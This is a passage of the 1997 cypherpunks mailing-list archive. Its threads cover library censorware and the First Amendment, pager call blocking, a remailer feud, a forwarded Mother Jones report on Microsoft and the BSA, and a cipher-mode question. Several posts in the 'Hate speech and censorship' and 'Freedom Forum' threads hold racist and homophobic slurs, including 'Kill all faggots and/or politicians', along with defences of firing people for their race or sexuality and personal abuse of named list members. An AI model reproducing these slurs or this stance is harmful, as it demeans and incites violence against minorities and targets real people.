Charset: noconv

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/NYCZZH6TL08glhxG4FKkL9FiOaSyJA/Ca2juipFlYL7I9quwT+Tbw==
=jHny
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 23 Dec 1997 05:33:17 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <3.0.5.32.19971222131827.007cfb10@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:55 PM 12/22/97 EST, Dr.Dimitri Vulis KOTM wrote:
>David Honig <honig@otc.net> writes:
>Perhaps the state shouldn't be in the business of providing library services
>to begin with; then there will be no 1st amendment issue, and if you don't
>like the censorware used by a private library, why, use another private
>library, or start your own.
>
>(Nor would there be an issue with private libraries refusing service to
>readers who smell bad.)
>

Also, there wouldn't be librarians being crucified when some child finds
some racy book.

BTW, now that libraries lend videotapes, they directly compete with 
private chains that do so.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Tue, 23 Dec 1997 18:32:34 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <l03020901b0c4507e0129@[209.130.130.25]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>> :Why would a pager company want to block calls from pay phones?
>>
>> Because they (the pager companies) have been ordered to pay the charges
>> related to calls made to their service from pay phones.  18.5 cents per call
>> was the number the fed agreed to.  Keeping up with the telecommunications
>> industry is difficult, eh?

Very interesting.  That hasen't hit my area, as far as I know.

In addition, paging from a pay phpne (at least, where I'm located)
is of no use unless you're using a telephone number to alert the
owner of the pager to your location (which makes it easier to find
my friends, granted), since pay phones have been re-hardwired to
reject incoming calls.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ***<REPLY TO: sheriff@speakeasy.org>***
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


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lTeE6RHQG38F+/ozYsWanYFXtjJ8VWMX4xK73P0qL6ieQtFvyrPHMQ==
=ixle
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 23 Dec 1997 06:06:17 +0800
To: cypherpunks@toad.com
Subject: Re: Lock and Load
Message-ID: <199712222142.NAA27915@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Forwarded message:
> > Not being a native English speaker, I do not understand the
> > meaning and origin of the phrase "LOck and Load".
>
> It means to lock the rifles safety and load it's chamber in preperation for
> firing at an enemy. It is usualy used in a military context but head-bangers
> and such use it when talking about loading their bongs and I am shure other
> groups use it as well in various contexts.
>

Wait a second, aren't we supposed to load first and lock later? How
can you load a rifle if it is on safety? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:33:24 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <PqN5He11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig <honig@otc.net> writes:
> Note that if the library in question were not arm of the State,
> noone would have any First Amendment claim.

And that in turns reminds me of microsoft giving away a free web browser...
Here's why: in 19th century NYC there very many excellent private libraries
where one could pay a monthly fee and either read inside or borrow books.
Then the gubmint (the state, the city, doesn't matter) created "free" public
libraries (i.e., paid for by the taxpayers, most of whom probably don't give
a flying fuck about libraries), and drove almost all private for-pay libaries
out of business.

Perhaps the state shouldn't be in the business of providing library services
to begin with; then there will be no 1st amendment issue, and if you don't
like the censorware used by a private library, why, use another private
library, or start your own.

(Nor would there be an issue with private libraries refusing service to
readers who smell bad.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 22 Dec 1997 21:14:15 +0800
To: cypherpunks@toad.com
Subject: What is Gary L. Burnore Afraid Of? (was: Anon asshole still has no proof)
In-Reply-To: <349dac5c.185107310@nntp.best.ix.netcom.com>
Message-ID: <199712221258.NAA28086@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) ranted:

> Still no proof that I am anti-remailer or support anti-remailers
> Still no proof that I am anti-privacy or support anti-privacy

You just provided it in the form of the Subject: line that YOU chose for
this post -- "Anon asshole still has no proof".
 
> Still accusations with no proof.  Continuous for about a year.  On and on and
> on.  Still no explination for why the whole thing started to begin with.
> Because what the anon asshole is _REALLY_ upset about is true reason for his
> obsession with me.
>                   
>  
> So the anon asshole won't answer. Can't answer. His/Her identity may become
> know if he/her reveals the true reason for a year of obsession.

Careful, Gary, your bigotry and paranoia are showing.  My "accusation" has
merely been at *ASK* you and Belinda Bryan why you demanded that Jeff Burchell
turn over the user logs from his Huge Cajones Remailer over to DataBasix and
what you intended to do with them after you obtained them.  It seems to be
you that's hiding the "true reason"
 for your own actions.

What "proof" does one need to ask a question or two?  Why do you resort to 
posting silly rants like this just to avoid answering those two questions?

You are the one making the ridiculous accusations without proof, that a
mythical "AnonAsshole <tm>" has supposedly done all matter of evil mischief
towards you.  And you conveniently try to discredit anyone who dares to 
criticize you anonymously of being this evil, mean ogre that you've invented.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:34:44 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <199712221655.RAA22222@basement.replay.com>
Message-ID: <B5N5He12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <nobody@REPLAY.COM> writes:

> On behalf of the non-racist cypherpunks, please accept an apology for
> Paul Bradley's racist message:
>
> > uneducated and foolish arabs such as Parekh should stick
> > to what they do best: running kebab shops and/or selling cheap fake rolex
> > watches to tourists.
>
> This does not reflect the mainstream view on the list.  Cypherpunks
> understand that disparaging the racial background of others is a weak
> and invalid form of argument.
>
> While it may be appropriate to criticize actions taken during the list
> moderation experiment, casting the issue in racial terms only reveals
> the ignorance and bigotry of the writer.

Politically correct shit like this reveals the stupidity and the ignorance of
its writer. no wonder he hides behind an anonymous remailer, afraid to sign
his own name on such crap. However his writing style is unmistakable that of
the cowardly liar Sandy "moderator" Sandfart (spit) from C2net (a boot-licking
employee of the smelly Arab crypto-snake-oil peddler Sameer Parekh (spit)).

ObHateSpeech: Kill all faggots and/or politicians.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 03:33:32 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <199712221855.MAA13705@manifold.algebra.com>
Message-ID: <XNo5He14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > > Yes, those on the list a few months ago (around the time the list moved
> > > from cocksucker John Gilmores toad.com to the distributed list format)
> > > will remember censorous arab Sameer Parekh for sending abusive mail
> > > threatening legal action to those who criticised the security of his
> > > companies "stronghold" firewall, which I among others suspect to contain
> > > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > > to what they do best: running kebab shops and/or selling cheap fake rolex
> > > watches to tourists.
> >
> > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > boys for pleasure, but a camel for sheer extasy".
>
> I guess I am missing something, but what is so good about camels?

I don't know - you'd have to ask Sameer Parekh.  Does he keep one in his
C2Net office, and is it a male or a female camel?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mj@creative.net
Date: Tue, 23 Dec 1997 06:25:44 +0800
To: cypherpunks@cyberpass.net
Subject: Fwd: Mother Jones on Microsoft and BSA
Message-ID: <v04002a01b0c41932aeec@[207.137.201.69]>
MIME-Version: 1.0
Content-Type: text/plain



Here's some more on Microsoft.

>Date: Mon, 22 Dec 1997 15:07:14 -0500 (EST)
>Reply-To: love@cptech.org
>Originator: am-info@essential.org
>Sender: am-info@essential.org
>Precedence: bulk
>From: James Love <love@cptech.org>
>To: Multiple recipients of list <am-info@essential.org>
>Subject: Mother Jones on Microsoft and BSA
>MIME-Version: 1.0
>
>Date: Mon, 22 Dec 1997 09:07:37 -0800 (PST)
>    From: Richard Reynolds <reynolds@mojones.com>
> Subject: Mother Jones Microsoft story
>
>For Release:
>December 22, 1997
>Contacts:
>Richard Reynolds 415/665-6637 x240
>Kerry Lauerman 415/665-6637 x215
>
>Microsoft Blackmails Foreign Companies
>Switch To Microsoft, and Your Legal Problems Will Disappear
>
>Microsoft appears to be using the Business Software Alliance (BSA) to
>blackmail foreign companies into making exclusive deals with Microsoft,
>reports Mother Jones magazine in a story released last night on the MoJo
>Wire, Mother Jones' Web site:
>
>http://www.motherjones.com/mother_jones/JF98/burstein.html
>
>When the BSA tracks down companies using software pirated from its
>various members, reports Mother Jones investigative reporter Rachel
>Burstein, the offender is offered a simple out: Switch to Microsoft
>products and your legal problems will disappear.
>
>* In 1995 the BSA caught Antel, Uruguay's national telephone company,
>using unlicensed Microsoft, Novell, and Symantec software. Ricardo
>Tascenho, Antel's information technology manager, told Mother Jones the
>company settled the matter by signing a "special agreement" with
>Microsoft to replace all its software with Microsoft products. According
>to Eduardo DeFreitas, the BSA's lawyer in Uruguay, Microsoft's Uruguay
>manager, Tomas Blatt, instructed him to drop the suit so that Microsoft
>and Antel could "work out a deal for the future."
>
>* Felipe Yungman, Novell's manager of security for Argentina, says
>Novell's investigations also indicate that the BSA has set up sweetheart
>deals for Microsoft there. "Companies or government offices had to, as a
>condition [that the BSA] forgive them of piracy, replace Novell products
>with Microsoft products," he told Mother Jones.
>
>* In 1996, when the BSA sued the Australian shipping company Toll
>Holdings for piracy, the suit alleged that Toll illegally used copies of
>programs made by Lotus, Novell, Symantec, and Microsoft. According to
>Martin Dunne, Toll's chief information technology officer, other than
>keeping Symantec's anti-virus software, they only buy Microsoft now. A
>Novell official told Mother Jones that Toll "offered to legalize on all
>Microsoft products if [the BSA] dropped the suit." Both the BSA and Toll
>deny any impropriety.
>
>* In Slovenia, where 96 percent of all software is pirated, Microsoft's
>country manager, Aaron Marko, is also head of the BSA office. Marko says
>that because enforcement is difficult in the country's court system, he
>offers discounted
>
>Microsoft software to companies caught pirating by the BSA. Microsoft
>denies that the BSA acts solely on its behalf. But officials at
>Novell and Lotus told Mother Jones that they will stop actively
>participating in the BSA's programs in Asia and Latin America by the
>beginning of 1998.
>
>Greg Wrenn, senior corporate counsel for Adobe, says his company has
>stayed with the BSA, but he acknowledges Microsoft's upper hand: "If an
>attorney does Microsoft work and BSA work and never hears from another
>company besides Microsoft, he's going to do the work for the guy who's
>in his office every week."
>
>The BSA story is part of a five-part cover package on Microsoft featured
>in Mother Jones' January/February issue.
>#  #  #
>
>
>Full Article:
>
>Overseas Invasion
>by Rachel Burstein
>
>Like Coke, Nike, and the tobacco industry before it, Microsoft now has
>to
>hook new consumers abroad. But the company has discovered a way to bully
>foreign companies into buying Microsoft-and only Microsoft.
>
>In 1995 Antel, the national telephone company of Uruguay, was caught
>pirating $100,000 worth of unlicensed software programs from Microsoft,
>Novell, and Symantec. Antel was nabbed by the Business Software
>Alliance, a
>trade association that partly acts as a global bounty hunter for the
>software industry. The BSA's lawyers in Uruguay quickly filed suit.
>
>But instead of waiting for a ruling on the case, the BSA abruptly
>dropped
>the suit in the fall of 1997. The BSA receives funding from most of the
>top
>software companies but appears to be most heavily funded by Microsoft.
>And,
>according to Antel's information technology manager, Ricardo Tascenho,
>the
>company settled the matter by signing a "special agreement" with
>Microsoft
>to replace all of its software with Microsoft products.
>
>The BSA's lawyer in Uruguay, Eduardo DeFreitas, supports Tascenho's
>story:
>"Microsoft told me to stop working on the case because they would write
>an
>agreement with Antel." DeFreitas says Microsoft's Uruguay manager, Tomas
>Blatt, instructed him to drop the suit so that Microsoft could "work out
>a
>deal for the future." Blatt refused to answer questions about the
>settlement, claiming, "I don't have any information about the Antel
>caseŠ.
>You should call
>BSA in Uruguay-Eduardo DeFreitas."
>
>Antel's situation suggests that when  the BSA cracks down on piracy
>overseas, it's Bill Gates who turns out to be the pirate.
>Representatives
>from rival firms complain that Microsoft is abusing its power within the
>BSA to speed its global dominance.
>
>Microsoft denies that the BSA acts solely on its behalf. "I am not aware
>of
>any instance where that has happened," says Microsoft attorney Brad
>Smith.
>And the BSA dismisses the charges; spokeswoman Diane Smiroldo calls them
>"hard to believe." But officials at Novell and Lotus confirm that by
>January, both companies will have stopped actively participating in the
>BSA's programs in Asia and Latin America. Novell says these allegations
>played a part in its decision; Lotus refuses to comment. Such concerns
>are also among the reasons Netscape is reluctant to join the BSA, says
>Netscape attorney Peter Harter.
>
>The accusations aren't just limited to Uruguay:
>
>* Felipe Yungman, Novell's manager of security for Argentina, says he
>and
>another staffer at Novell discovered, while pursuing their own
>investigation for the company, that the BSA was setting up sweetheart
>deals
>for Microsoft. "Companies or government offices had to, as a condition
>[that the BSA] forgive them of piracy, replace Novell products with
>Microsoft products," he says.
>
>were bullied by Microsoft, saying that he is trying to convince them to
>come forward. "Most of the companies don't want to get involved," he
>explains. "They think they need Microsoft. You cannot oblige them to
>testify."
>
>Mario Tucci, Novell's country manager for Latin America, supports
>Yungman's allegations. "If you call BSA, you will reach Microsoft," he
>says. "They shield Microsoft's actions with the BSA name. It's bad for
>us
>and [for] the software industry."
>
>* In 1996, when the BSA sued the Australian shipping company Toll
>Holdings
>for piracy, BSA lawyer Charles Gonsalves, of the Sydney-based firm of
>Mallesons Stephen Jaques, oversaw the case.
>
>"I generally handle cases for both Microsoft and the BSA," Gonsalves
>told
>Mother Jones.
>
>But while the suit alleged that Toll illegally used copies of programs
>made
>by Lotus, Novell, Symantec, and Microsoft, Martin Dunne, Toll's chief
>information technology officer, says the company settled by paying fines
>to
>only Symantec and Microsoft. And, Dunne says, other than keeping
>Symantec's
>anti-virus software, the company has made a significant change: Toll
>only
>buys Microsoft now.
>
>According to a Novell official, Toll "offered to legalize on all
>Microsoft
>products if [the BSA] dropped the suit." Both the BSA and Toll deny any
>impropriety. While a written agreement between Toll and Gonsalves does
>exist, neither party would reveal the terms of the settlement. When
>Gonsalves was asked if Microsoft ever paid for his handling of BSA
>cases,
>he chuckled and said, "That's a confidential matter."
>
>* In Slovenia, where 96 percent of all software is pirated, the head of
>the
>BSA office, Aaron Marko, is also Microsoft's country manager. Marko says
>that because enforcement is difficult in the country's court system, he
>offers discounted Microsoft software to companies caught pirating by the
>BSA. Does Marko see this as a conflict of interest, since he also
>supposedly represents other software firms? "BSA is trying to find the
>pirate. Then it is a question of marketing and product awareness to see
>who
>will get the legal market share," he says. When asked which BSA members
>have local subsidiaries that do local marketing, Marko says only
>Microsoft
>and Oracle, which is not a direct Microsoft competitor.
>
>These allegations "raise questions as to whether the BSA serves the
>interest of its members or whether it serves its dominant member," says
>James Love, director of Ralph Nader's Consumer Project on Technology.
>And
>for the foreign companies, he says, "these seem to be stories of
>blackmail."
>
>The BSA employs a team of more than 100 lawyers and investigators to
>find
>cases of software piracy-a crime it says costs the industry $11 billion
>a
>year. The BSA says it catches "thousands of cases a year," many through
>its
>55 piracy hotlines, the most famous of which urges employees to "Nail
>Your
>Boss" by calling.
>
>While the BSA won't release its funding details, it does say that money
>comes from membership dues, which are based on each company's software
>revenues. This is one way in which Microsoft dominates the BSA:
>Microsoft's
>annual revenues, for example, are eight times that of Novell, its
>largest
>rival.
>
>In the future, Novell and Lotus say they will use their own in-house
>resources for anti-piracy efforts in Asia and Latin America.
>
>But other BSA members, while concerned about Microsoft's role in the
>organization, aren't quite willing to go their own way. Greg Wrenn,
>senior
>corporate counsel for Adobe, says his company has stayed with the BSA
>despite having had some uneasy experiences with Microsoft. For example,
>Wrenn says, the Microsoft attorneys who worked for the BSA refrained
>from
>going after big Microsoft clients caught pirating Adobe products-until
>Adobe prodded them.
>
>Wrenn says Adobe will stay in the BSA, pressuring the organization to
>play
>fair. But he acknowledges Microsoft's upper hand. "If an attorney does
>Microsoft work and BSA work and never hears from another company besides
>Microsoft, he's going to do the work for the guy who's in his office
>every
>week," Wrenn says.
>
>
>
>________________________________________
>Richard Reynolds/Communications Director
>Mother Jones magazine
>415/665-6637 x240
>731 Market Street, 6th Floor
>San Francisco, CA  94103
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 22 Dec 1997 23:53:24 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Hate speech and censorship
In-Reply-To: <a3H4He53w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.971222144241.3012A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Sameer is also notorious for making legal threats against those who question
> the security of the crypto software he peddles. The fact that he dispatches
> his shysters to make threats, instead of even trying to answer our concerns
> with facts, shows how much he himself believes in his products.

Yes, those on the list a few months ago (around the time the list moved 
from cocksucker John Gilmores toad.com to the distributed list format) 
will remember censorous arab Sameer Parekh for sending abusive mail 
threatening legal action to those who criticised the security of his 
companies "stronghold" firewall, which I among others suspect to contain 
govt. backdoors, uneducated and foolish arabs such as Parekh should stick 
to what they do best: running kebab shops and/or selling cheap fake rolex 
watches to tourists. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 23 Dec 1997 22:33:08 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v03007800b0bf50ceed20@[207.172.112.244]>
Message-ID: <Pine.LNX.3.91.971222144853.3012B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Tim's analysis is nonsensical.
> 
> A government employee loses his job because of his political
> views. He brings a lawsuit, alleging a violation of the First
> Amendment, and eventually prevails in the Supreme Court.
> 
> A non-government employee who loses his job because of his
> political views would have no cause of action because the
> private employer is not bound by the First Amendment.
> 
> Therefore there should be far fewer government employees
> to prevent further erosion of the First Amendment.

This makes sense, do you not see the logic?

> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
> >Amendment issue have arisen? Of course not. In a free society, RealBig is
> >free to hire whom it wishes, and to refuse to hire niggers, homos,
> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
> >managers at RealBig disliked.
> 
> Substitute "fascist society" for "free society" in the paragraph
> above and the discussion begins to make some sense. Hell, it's even
> historically accurate.

Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
hire people for any reason whatsoever? Do you think I should not be 
allowed to refuse to hire people because of their race or sexual orientation?

Should the government be able to take action against me because I fire 
someone for being jewish/black/homosexual???


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 23 Dec 1997 05:03:43 +0800
To: David Honig <cypherpunks@Algebra.COM>
Subject: Re: Question on CFB variant with c[i-N]
In-Reply-To: <c=US%a=_%p=Stortek%l=LSV-MSG06-971221014643Z-85371@lsv-bridge.stortek.com>
Message-ID: <v03007802b0c484261702@[209.98.15.173]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:10 AM -0600 12/22/97, David Honig wrote:
>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>
>>
>>>>              cfb    Ciphertext feeback mode
>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>
>
>
>Suppose instead of c[i-1] you use c[i-N] where N is say 10.
>How would you prove that this has no security implications?
>That 10-way interleaved cfb streams are security-equivalent to
>a single cfb stream interleaved with the immediately previous block?
>
It's kind of obvious.  The encryption of a single plaintext stream
interleaved ten times is the same as the encryption of ten multiplexed
plaintexts.  If one is insecure, the other is insecure.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Tue, 23 Dec 1997 04:20:52 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <ocr67oh405s.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig writes:
> At 10:23 AM 12/22/97 -0500, Declan McCullagh wrote:

>> Mainstream Loudoun, a local group, and 11 other
>> plaintiffs are challenging Loudoun County's decision to
>> adopt one of the country's most iron-handed Internet
>> policies, The Netly News has learned....

>> The plaintiffs hope to persuade a federal judge that
>> X-Stop's overzealousness violates not just traditions of
>> intellectual freedom in libraries, but the First Amendment
>> as well....
 
> Note that if the library in question were not arm of the State,
> noone would have any First Amendment claim.

Which is why it is a good thing that Libraries are state funded.

> This is reminiscent of TM's recent (controversial) analysis of the fired
> county trashworker/author,
> and suggests a clearer example of the confusion caused by State as Employer:

I don't think I saw TM's analysis, since I am on fight-censorship, but I
don't see where there is any confusion.  Except in very limited
circumstances (National Security), the government cannot hire or fire a
contractor (or employee) based on unrelated speech.

> It is considered legal and moral for a *private employer* can use
> censorware to restrict their LAN's access.

It may be legal, but whether it is moral is certainly debatable.

> But if the employer is the State, and does this, the First might be dragged
> in -confusing the issue,
> since the government acting as State is constrained (by the constitution)
> differently from the government
> acting as Employer (constrained by employment law).

Why is this confusing?  It is very simple to tell the difference between 
the State as employer and the State as censor.

A Public Library is allowed restrict Internet Access to its employees on 
the job, since it is acting as an employer.

A Public Library may not be allowed to restrict Internet Access to its
patrons (we will see how Loudoun turns out).

> Perhaps some critical of Tim's analysis think that when government is
> employer it can't censor its LAN?  Can't remove games from government owned
> PCs?  

> When the government removes games, pictures, etc. from its PCs it is acting
> as a responsible efficient employer.

Not necessarily responsible, but it is legal.

> When the government attempts to remove games, pictures, etc. from stores it
> is acting criminally.

This is correct.

Again, I don't see what is confusing about this.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Russell" <jrussell@syndata.com>
Date: Tue, 23 Dec 1997 04:28:24 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: Question on CFB variant with c[i-N]
Message-ID: <01bd0f14$9f141d20$8b73d6ce@Polaris.domain>
MIME-Version: 1.0
Content-Type: text/plain



>>>              cfb    Ciphertext feeback mode
>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>                     p[i] = f1(K, c[i-1]) ^ c[i]


>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 

Wouldn't the size of your IV have to grow as N grows?

Jim Russell
SynData Technologies









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 05:04:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Lock and Load (fwd)
Message-ID: <199712222120.PAA19915@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Dec 1997 12:41:31 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> Subject: Lock and Load

> Not being a native English speaker, I do not understand the
> meaning and origin of the phrase "LOck and Load".

It means to lock the rifles safety and load it's chamber in preperation for
firing at an enemy. It is usualy used in a military context but head-bangers
and such use it when talking about loading their bongs and I am shure other
groups use it as well in various contexts.

In short it means "get ready for action".


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Mon, 22 Dec 1997 23:32:45 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971222152008.10111.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> It's not clout, it's a capability. You can ask that many different types of
> numbers be blocked. You can ask that incomming and or outgoing be blocked
> _FROM_ _YOUR_ _HOME_ _PHONE_.

If your local telephone company will provide you with that service, that's 
great.  I suspect that it's not universally available, especially in Australia 
where the person I was replying to lives.  But, as you pointed out, you can 
always ASK.  The worst they can say is no -- or maybe "Chuck U. Farley", if 
you catch the customer "service" person in a bad mood. <g>

> :Second, as you can probably tell from his return address, Politas is located
> :in Australia, where different rules apply.
> :  
> Indeed, that's true.  Chances are however, that his phone company will catch
> up with the U.S. sooner or later. :)

Could be.  I was only trying to deal with the options available to him here and
now, just as I was dealing with the remailer network at it exists here and now.
The big difference between the two is that he PAYS to be connected to the
phone company's network, so that gives him a little bargaining power in
asking for certain features.

The remailers, in contrast, don't charge you for receiving mail and your two
existing options are to use the net as it currently exists or disconnect
yourself from it with a blocking request.

It's sort of like public television.  You've got a user community and a
much smaller support community.  Comments from users get considered, of
course, but I'm sure that suggestions from actual supporters carry a bit
more weight.

> :Just don't sign up for pager service with a company that blocks calls from
> :pay phones, then.
>  
> The latest scoop is those that don't block will find another way to pass the
> costs on to all subscribers.  Those that _DO_ block will allow the unblocking
> based on request from a user and that user's willingness to +pay+.

Of course.  One does have to make a decision whether its worthwhile to pay
the extra fee for the convenience of someone being able to page him toll-free 
from a pay phone.  Those who don't allow SELECTIVE blocking and who pass the
costs on to all subscribers will eventually lose most of their customers who 
don't want to subsidize a service they don't want or use.  Their prices will
become non-competitive.

> :I figure if an extra 18.5 cents is going to make that much of a difference to
> :me, I probably didn't want to talk to that person that badly, anyway.  So I'd
> :either opt to not pay extra for 800 access, and let people page me at their
> :own expense, or else be more selective who I gave my toll-free access 
> :number to. 
>           
> That would make _WAY_ too much sense now wouldn't it?

Just like the internet, there are a lot of newbies to pagers, cell phones, PCS,
etc. who don't know all their available options.  That will change with time.
But if you get your "expert advice" from the sales droid of the week at your 
local Radio Shack...

> :I have a friend who has basic pager service with a local, non-toll-free
> :access number.  He also has separate 800 service that rings through to his
> :pager number.  The more expensive 800 number is given out more selectively
> :than the local number.
>  
> Precicely.  However, the original discussion was not what pager companies
> would or wouldn't want to do with the ability to block payphones, the issue is
> whether it's not only possible (it is) but is it available to anyone. THe
> answer to the second one is becomming yes in more areas as tine goes by.  You
> can even block anyone who doesn't display their caller id number.  Of course,
> then if you blocked your own number from displaying to protect yourself, your
> friends who block unannounced numbers to protect themselves wouldn't get to
> talk to you. 
>  
>    
> Oh, one other thing.  It's NOT difficult to trace a phone number anymore. Even
> though pressing *69 won't always give you the number that called you, the 
> phone company +can+ still track the number to it's source.

Technology is currently progressing faster than our human protocols can keep
up with.  But I'm confident that the lag time will be relatively short.  For 
example, people have now adapted their own sense of manners and propriety to 
deal with such things as unsolicited calls from telemarketers.  When someone
calls you, it's usually impolite to hang up on them.  Many now make an
exception for junk calls from telemarketers.  Some phone company even offer
a service where you can press a *xx code, hang up, and the telemarketer will
be told that you don't accept such calls and be requested to add your number to
his do not call list.

There was an ongoing debate a few years ago when caller ID was first introduced
